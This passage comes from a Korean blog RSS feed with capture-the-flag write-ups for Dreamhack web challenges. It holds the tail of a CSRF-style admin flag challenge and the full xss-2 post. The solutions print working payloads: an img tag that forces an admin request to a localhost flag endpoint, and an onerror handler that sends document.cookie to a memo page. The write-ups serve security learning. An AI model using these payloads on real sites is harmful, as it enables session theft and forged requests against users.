그 후 read_url 함수에 url값과 cookie 값을 넘겨준다.</p>
<h2 id="read_url">read_url():</h2>
<p>웹 드라이버로 크롬을 연다.
get 함수로 로컬호스트로 접속을 한다.
그 후 cookie를 추가하고
다시 get 함수로 우리가 입력한 param이 들어있는 url에 접속을 한다.</p>
<p>사실 cookie값은 여기서 중요하지 않고, 이때 어떤 param을 입력하여 어떠한 url에 접속할지가 중요한데 코드에서 FLAG가 저장된 부분을 찾아보자.</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/578b1895-de4a-4b4c-a2b4-412c578e1499/image.png" alt=""></p>
<h2 id="admin_notice_flag">admin_notice_flag():</h2>
<p>이 함수에서 조건을 만족할 경우 memo_text 에 flag 를 추가하도록 하고있다.
조건은 두가지인데 먼저 접속 ip가 로컬 호스트 ip 인지, userid 값이 admin 인지를 확인하고 있다.</p>
<p>우리는 param 값으로 127.0.0.1:8000 ip로 접속을 하면서 userid=admin 으로 접속을 하도록 하는 공격문을 작성해주면 된다. </p>
<h2 id="memo">memo():</h2>
<p>memo 값을 받아와서 그대로 화면에 출력해준다.
전의 문제들과 조금 다른 점은 memo 값은 global로 선언되어있고, text 변수를 따로 만들어서 계속 이어붙이는 형식.
memo 페이지에 들어가면 주소에 memo 가 hello라고 입력되어 있으므로 
접속할 때마다 hello가 계속 늘어난다.</p>
<h1 id="📒-해답">📒 해답</h1>
<p>script, frame, on 이 막혀있으므로 다른 태그를 사용해보자.</p>
<p>img 태그를 사용하여 src로 우리가 원하는 공격 링크를 삽입하고 그 링크에 접속하도록 할 것이다.</p>
<blockquote>
<pre><code>&lt;img src=&quot;http://127.0.0.1:8000/admin/notice_flag?userid=admin&quot;&gt;</code></pre></blockquote>
<p>```</p>
<p>라고 입력해주자.</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/f77c7563-059b-4937-b94a-20711299cd4a/image.png" alt=""></p>
<p>제출을 누르고 memo 페이지에 들어가보면 flag가 적혀서 출력된다!
성공 🌟</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Dreamhack] xss-2 풀이]]></title>
            <link>https://velog.io/@mk-cyb/Dreamhack-xss-2-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@mk-cyb/Dreamhack-xss-2-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Sun, 04 Jun 2023 15:32:20 GMT</pubDate>
            <description><![CDATA[<p>이번에는 앞선 문제에서 이어지는 xss 문제를 풀어보겠다.</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/92cf691a-e4ae-4e4b-ae9c-9fcb641dc681/image.png" alt=""></p>
<p>이번에도 비슷한 문제이다.</p>
<h1 id="🔎-xxs-2-분석">🔎 XXS-2 분석</h1>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/54124835-b3f2-44e1-be6a-587248628101/image.png" alt=""></p>
<p>이번에도 똑같은 구조로  되어있다.</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/96620ef3-6ab5-481b-9a8e-808e8fd225f6/image.png" alt=""></p>
<p>그런데 이번에는 vuln 페이지에 들어가도 alert 창이 뜨지 않는다.
script 태그가 막아져 있는 듯하다.</p>
<h1 id="💻-소스코드-분석">💻 소스코드 분석</h1>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/ff0e81de-412c-4663-8a8a-fad9d5cebd39/image.png" alt=""></p>
<p>소스코드도 저번과 똑같다. vuln.html의 코드가 살짝 바뀐 것 같다. 
저번과 같은 코드이므로 분석을 생략하겠다.</p>
<h1 id="📒-해답">📒 해답</h1>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/02eddab4-49cb-43da-8599-f56dff1ef317/image.png" alt=""></p>
<p>우선 script 태그가 막혔기 때문에, 되는 태그를 찾아 보았다.
xss 공격에서 자주 쓰이는 img 태그가 먹힌다.</p>
<p>onerror 속성을 이용하여 아무 경로나 넣은 후 에러 발생 시 alert 창을 띄울 수 있다.</p>
<p>이것을 이용해서 param 값으로 </p>
<pre><code>&lt;img src=&quot;&quot; onerror=&quot;location.href=&#39;http//127.0.0.1:8000/memo?memo=&#39;+document.cookie&quot;&gt;</code></pre><p>라고 입력해주었다.</p>
<p>나는 몇 번 시도했는데 안되서 애를 먹었는데, 우선 onerror 다음에 전체를 큰 따옴표로 감싸야하고 큰 따옴표 안에는 작은 따옴표를 써줘야한다. 이런 실수를 하지 말길...</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/4a3e4ea2-a5af-401c-87db-760d6768e6ba/image.png" alt=""></p>
<p>어쨌든 성공! 🌟</p>
]]></description>
        </item>
    </channel>
</rss>